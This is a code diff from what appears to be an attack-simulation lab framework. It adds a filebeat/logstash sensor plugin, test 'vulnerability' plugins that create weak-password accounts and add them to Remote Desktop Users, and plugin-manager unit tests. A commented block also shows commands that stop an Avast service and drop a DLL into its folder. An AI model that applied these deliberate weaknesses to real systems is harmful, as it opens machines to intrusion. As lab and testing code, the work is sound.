|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
self.debugit = False
|
||||||
|
|
||||||
|
def process_templates(self):
|
||||||
|
""" process jinja2 templates of the config files and insert own config """
|
||||||
|
|
||||||
|
env = Environment(
|
||||||
|
loader=FileSystemLoader(self.get_plugin_path(), encoding='utf-8', followlinks=False),
|
||||||
|
autoescape=select_autoescape()
|
||||||
|
)
|
||||||
|
template = env.get_template("filebeat_template.conf")
|
||||||
|
dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
|
||||||
|
with open(dest, "wt") as fh:
|
||||||
|
res = template.render({"playground": self.get_playground()})
|
||||||
|
fh.write(res)
|
||||||
|
|
||||||
|
def prime(self):
|
||||||
|
""" Hard-core install. Requires a reboot """
|
||||||
|
|
||||||
|
# For reference: This is the core config we will need. In addition there are two reg files to apply to the registry
|
||||||
|
# sc control aswbidsagent 255
|
||||||
|
# timeout /t 5
|
||||||
|
# 'copy /y "cd %userprofile% & aswidptestdll.dll" "c:\Program Files\Avast Software\Avast\"'
|
||||||
|
# reg.exe add "HKLM\SOFTWARE\Avast Software\Avast\properties\IDP\Setting" /v debug_channel.enabled /t REG_DWORD /d 1 /f
|
||||||
|
# timeout /t 2
|
||||||
|
# sc start aswbidsagent
|
||||||
|
|
||||||
|
# Important: AV must be 21.2
|
||||||
|
# dll_name = self.conf["dll_name"]
|
||||||
|
|
||||||
|
# idp_tool_folder = self.conf["idp_tool_folder"]
|
||||||
|
|
||||||
|
pg = self.get_playground()
|
||||||
|
|
||||||
|
self.vprint("Installing Linux filebeat sensor", 3)
|
||||||
|
|
||||||
|
self.run_cmd("sudo wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -")
|
||||||
|
self.run_cmd('sudo echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list')
|
||||||
|
self.run_cmd("sudo apt update")
|
||||||
|
self.run_cmd("sudo apt -y install default-jre")
|
||||||
|
self.run_cmd("sudo apt -y install logstash")
|
||||||
|
self.run_cmd("sudo apt -y install filebeat")
|
||||||
|
|
||||||
|
# Copy config
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.yml /etc/filebeat/filebeat.yml")
|
||||||
|
self.run_cmd(f"sudo cp {pg}/filebeat.conf /etc/logstash/conf.d")
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
self.run_cmd(f"rm {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"touch {pg}/filebeat.json")
|
||||||
|
self.run_cmd(f"chmod o+w {pg}/filebeat.json")
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def install(self):
|
||||||
|
""" Installs the filebeat sensor """
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
|
||||||
|
self.run_cmd("sudo filebeat modules enable system,iptables")
|
||||||
|
self.run_cmd("sudo filebeat setup --pipelines --modules iptables,system,")
|
||||||
|
self.run_cmd("sudo systemctl enable filebeat")
|
||||||
|
self.run_cmd("sudo systemctl start filebeat")
|
||||||
|
self.run_cmd("sudo systemctl enable logstash.service")
|
||||||
|
self.run_cmd("sudo systemctl start logstash.service")
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
""" Stop the sensor """
|
||||||
|
return
|
||||||
|
|
||||||
|
def collect(self, path):
|
||||||
|
""" Collect sensor data """
|
||||||
|
|
||||||
|
pg = self.get_playground()
|
||||||
|
dst = os.path.join(path, "filebeat.json")
|
||||||
|
self.get_from_machine(f"{pg}/filebeat.json", dst) # nosec
|
||||||
|
return [dst]
|
@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||||
|
|
||||||
|
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||||
|
|
||||||
|
|
||||||
|
class VulnerabilityOk(VulnerabilityPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "missing_start"
|
||||||
|
description = "Adding users with weak passwords"
|
||||||
|
ttp = "T1110"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
|
||||||
|
if self.machine_plugin.config.os() == "linux":
|
||||||
|
for user in self.conf["linux"]:
|
||||||
|
# Remove user
|
||||||
|
cmd = f"sudo userdel -r {user['name']}"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
elif self.machine_plugin.config.os() == "windows":
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# net user username /delete
|
||||||
|
cmd = f"net user {user['name']} /delete"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
# Remove the new users to RDP (just in case we want to test RDP)
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# net user username /delete
|
||||||
|
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise NotImplementedError
|
@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||||
|
|
||||||
|
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||||
|
|
||||||
|
|
||||||
|
class VulnerabilityOk(VulnerabilityPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "missing_stop"
|
||||||
|
description = "Adding users with weak passwords"
|
||||||
|
ttp = "T1110"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
|
||||||
|
if self.machine_plugin.config.os() == "linux":
|
||||||
|
# Add vulnerable user
|
||||||
|
# mkpasswd -m sha-512 # To calc the passwd
|
||||||
|
# This is in the debian package "whois"
|
||||||
|
|
||||||
|
for user in self.conf["linux"]:
|
||||||
|
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
elif self.machine_plugin.config.os() == "windows":
|
||||||
|
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# net user username password /add
|
||||||
|
cmd = f"net user {user['name']} {user['password']} /add"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# Adding the new users to RDP (just in case we want to test RDP)
|
||||||
|
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise NotImplementedError
|
@ -0,0 +1,69 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# Some users are created (with weak passwords) and sshd is set to allow password-based access
|
||||||
|
|
||||||
|
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||||
|
|
||||||
|
|
||||||
|
class VulnerabilityOk(VulnerabilityPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "vulnerability_ok"
|
||||||
|
description = "Adding users with weak passwords"
|
||||||
|
ttp = "T1110"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1110/"]
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the machine. Will be copied to the share
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
|
||||||
|
if self.machine_plugin.config.os() == "linux":
|
||||||
|
# Add vulnerable user
|
||||||
|
# mkpasswd -m sha-512 # To calc the passwd
|
||||||
|
# This is in the debian package "whois"
|
||||||
|
|
||||||
|
for user in self.conf["linux"]:
|
||||||
|
cmd = f"sudo useradd -m -p '{user['password']}' -s /bin/bash {user['name']}"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
elif self.machine_plugin.config.os() == "windows":
|
||||||
|
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# net user username password /add
|
||||||
|
cmd = f"net user {user['name']} {user['password']} /add"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# Adding the new users to RDP (just in case we want to test RDP)
|
||||||
|
cmd = f"""NET LOCALGROUP "Remote Desktop Users" {user['name']} /ADD"""
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
|
||||||
|
if self.machine_plugin.config.os() == "linux":
|
||||||
|
for user in self.conf["linux"]:
|
||||||
|
# Remove user
|
||||||
|
cmd = f"sudo userdel -r {user['name']}"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
elif self.machine_plugin.config.os() == "windows":
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# net user username /delete
|
||||||
|
cmd = f"net user {user['name']} /delete"
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
# Remove the new users to RDP (just in case we want to test RDP)
|
||||||
|
for user in self.conf["windows"]:
|
||||||
|
# net user username /delete
|
||||||
|
cmd = f""""NET LOCALGROUP "Remote Desktop Users" {user['name']} /DELETE"""
|
||||||
|
self.run_cmd(cmd)
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise NotImplementedError
|
@ -0,0 +1,176 @@
|
|||||||
|
import unittest
|
||||||
|
from app.pluginmanager import PluginManager
|
||||||
|
from app.attack_log import AttackLog
|
||||||
|
|
||||||
|
from plugins.base.sensor import SensorPlugin
|
||||||
|
from plugins.base.attack import AttackPlugin
|
||||||
|
from plugins.base.vulnerability_plugin import VulnerabilityPlugin
|
||||||
|
from plugins.base.machinery import MachineryPlugin
|
||||||
|
|
||||||
|
# https://docs.python.org/3/library/unittest.html
|
||||||
|
|
||||||
|
|
||||||
|
class TestMachineControl(unittest.TestCase):
|
||||||
|
|
||||||
|
def setUp(self) -> None:
|
||||||
|
self.attack_logger = AttackLog(0)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_init(self):
|
||||||
|
""" just a simple init """
|
||||||
|
p = PluginManager(self.attack_logger)
|
||||||
|
self.assertIsNotNone(p)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_get_plugins_empty(self):
|
||||||
|
""" just a simple getting plugins with empty directory """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/none")
|
||||||
|
self.assertEqual(p.get_plugins(AttackPlugin), [])
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_get_caldera_plugin(self):
|
||||||
|
""" just a simple getting the one caldera plugin """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
|
||||||
|
plugins = p.get_plugins(AttackPlugin)
|
||||||
|
self.assertEqual(plugins[0].name, "caldera_autostart_1")
|
||||||
|
self.assertEqual(len(plugins), 1)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_count_caldera_plugin(self):
|
||||||
|
""" counting caldera requirements """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
|
||||||
|
plugins = p.count_caldera_requirements(AttackPlugin, None)
|
||||||
|
self.assertEqual(plugins, 1)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_count_metasploit_plugin(self):
|
||||||
|
""" counting caldera requirements """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/caldera/caldera_ok.py")
|
||||||
|
plugins = p.count_metasploit_requirements(AttackPlugin, None)
|
||||||
|
self.assertEqual(plugins, 0)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_count_metasploit_plugin_2(self):
|
||||||
|
""" counting metasploit requirements """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py")
|
||||||
|
plugins = p.count_metasploit_requirements(AttackPlugin, None)
|
||||||
|
self.assertEqual(plugins, 1)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_ok(self):
|
||||||
|
""" basic check for a plugin, ok """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/metasploit/metasploit_ok.py")
|
||||||
|
plugins = p.get_plugins(AttackPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(c, [])
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_sensor_plugin_ok(self):
|
||||||
|
""" just a simple getting the one sensor plugin """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/sensor/sensor_ok/*.py")
|
||||||
|
plugins = p.get_plugins(SensorPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(c, [])
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_sensor_plugin_missing_collect(self):
|
||||||
|
""" a sensor plugin with missing collect should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/sensor/missing_collect/*.py")
|
||||||
|
plugins = p.get_plugins(SensorPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertRegexpMatches(c[0], "Method 'collect' not implemented in missing_collect in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_pick_sensor_plugin_by_name(self):
|
||||||
|
""" get a plugin by name """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
|
||||||
|
plugins = p.get_plugins(SensorPlugin, ["pick_me"])
|
||||||
|
self.assertEqual(len(plugins), 1)
|
||||||
|
self.assertEqual(plugins[0].get_name(), "pick_me")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_pick_sensor_plugin_by_name_2(self):
|
||||||
|
""" get two plugins by name """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
|
||||||
|
plugins = p.get_plugins(SensorPlugin, ["pick_me", "ignore_me"])
|
||||||
|
self.assertEqual(len(plugins), 2)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_pick_sensor_plugin_by_name_3(self):
|
||||||
|
""" not finding any plugin by name """
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/sensor/two_sensors/*/*.py")
|
||||||
|
plugins = p.get_plugins(SensorPlugin, ["fail"])
|
||||||
|
self.assertEqual(len(plugins), 0)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_attack_plugin_missing_run(self):
|
||||||
|
""" a attack plugin with missing run should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/attack/missing_run/*.py")
|
||||||
|
plugins = p.get_plugins(AttackPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertRegex(c[0], "Method 'run' not implemented in missing_run in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_vulnerability_plugin_ok(self):
|
||||||
|
""" a vulnerability plugin ok on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/ok/*.py")
|
||||||
|
plugins = p.get_plugins(VulnerabilityPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(len(c), 0)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_vulnerability_plugin_missing_start(self):
|
||||||
|
""" a vulnerability plugin with missing start should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_start/*.py")
|
||||||
|
plugins = p.get_plugins(VulnerabilityPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertRegex(c[0], "Method 'start' not implemented in missing_start in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_vulnerability_plugin_missing_stop(self):
|
||||||
|
""" a vulnerability plugin with missing stop should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/vulnerabilities/no_stop/*.py")
|
||||||
|
plugins = p.get_plugins(VulnerabilityPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertRegex(c[0], "Method 'stop' not implemented in missing_stop in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_machinery_plugin_ok(self):
|
||||||
|
""" a machinery plugin ok on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/machinery/ok/*.py")
|
||||||
|
plugins = p.get_plugins(MachineryPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(len(c), 0)
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_machinery_plugin_missing_up(self):
|
||||||
|
""" a machinery plugin with missing up should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_up/*.py")
|
||||||
|
plugins = p.get_plugins(MachineryPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertRegex(c[0], "Method 'up' not implemented in machinery_no_up in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_machinery_plugin_missing_state(self):
|
||||||
|
""" a machinery plugin with missing get_state should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_state/*.py")
|
||||||
|
plugins = p.get_plugins(MachineryPlugin)
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertRegex(c[0], "Method 'get_state' not implemented in machinery_no_state in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_machinery_plugin_missing_ip(self):
|
||||||
|
""" a machinery plugin with missing get_ip should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_ip/*.py")
|
||||||
|
plugins = p.get_plugins(MachineryPlugin)
|
||||||
|
# breakpoint()
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(len(c), 1)
|
||||||
|
self.assertRegex(c[0], "Method 'get_ip' not implemented in machinery_no_ip in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_machinery_plugin_missing_halt(self):
|
||||||
|
""" a machinery plugin with missing halt should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_halt/*.py")
|
||||||
|
plugins = p.get_plugins(MachineryPlugin)
|
||||||
|
# breakpoint()
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(len(c), 1)
|
||||||
|
self.assertRegex(c[0], "Method 'halt' not implemented in machinery_no_halt in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_machinery_plugin_missing_destroyt(self):
|
||||||
|
""" a machinery plugin with missing destroy should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_destroy/*.py")
|
||||||
|
plugins = p.get_plugins(MachineryPlugin)
|
||||||
|
# breakpoint()
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(len(c), 1)
|
||||||
|
self.assertRegex(c[0], "Method 'destroy' not implemented in machinery_no_destroy in .*")
|
||||||
|
|
||||||
|
def test_basic_pluginmanager_check_machinery_plugin_missing_create(self):
|
||||||
|
""" a machinery plugin with missing create should throw an error on check"""
|
||||||
|
p = PluginManager(self.attack_logger, "tests/plugins/machinery/no_create/*.py")
|
||||||
|
plugins = p.get_plugins(MachineryPlugin)
|
||||||
|
# breakpoint()
|
||||||
|
c = p.check(plugins[0])
|
||||||
|
self.assertEqual(len(c), 1)
|
||||||
|
self.assertRegex(c[0], "Method 'create' not implemented in machinery_no_create in .*")
|
Loading…
Reference in New Issue